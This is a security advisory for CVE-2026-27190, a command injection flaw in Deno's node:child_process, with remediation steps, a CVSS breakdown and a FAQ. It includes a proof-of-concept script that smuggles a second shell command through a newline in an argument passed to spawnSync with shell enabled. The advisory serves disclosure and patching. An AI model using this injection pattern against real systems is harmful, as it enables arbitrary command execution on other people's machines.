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CVE-2026-27190

HIGH

Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

Published February 19, 2026Updated February 20, 2026Source: osv

Summary

## Summary A command injection vulnerability exists in Deno's `node:child_process` implementation. ## Reproduction ```javascript import { spawnSync } from "node:child_process"; import * as fs from "node:fs"; // Cleanup try { fs.unlinkSync('/tmp/rce_proof'); } catch {} // Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");'); // Malicious input with newline injection const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`; // Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' }); // Verify console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof')); ``` Run: `deno run --allow-all poc.mjs` The file `/tmp/rce_proof` is created, confirming arbitrary command execution. ## Mitigation All users need to update to the patched version (Deno v2.6.8).

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update deno to 2.6.8 or later
cargo update -p deno --precise 2.6.8

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
deno
crates.io
All versions2.6.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-78
    OS Command InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-27190?
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-27190?
CVE-2026-27190 affects deno. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-27190 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-hmh4-3xvx-q5hr

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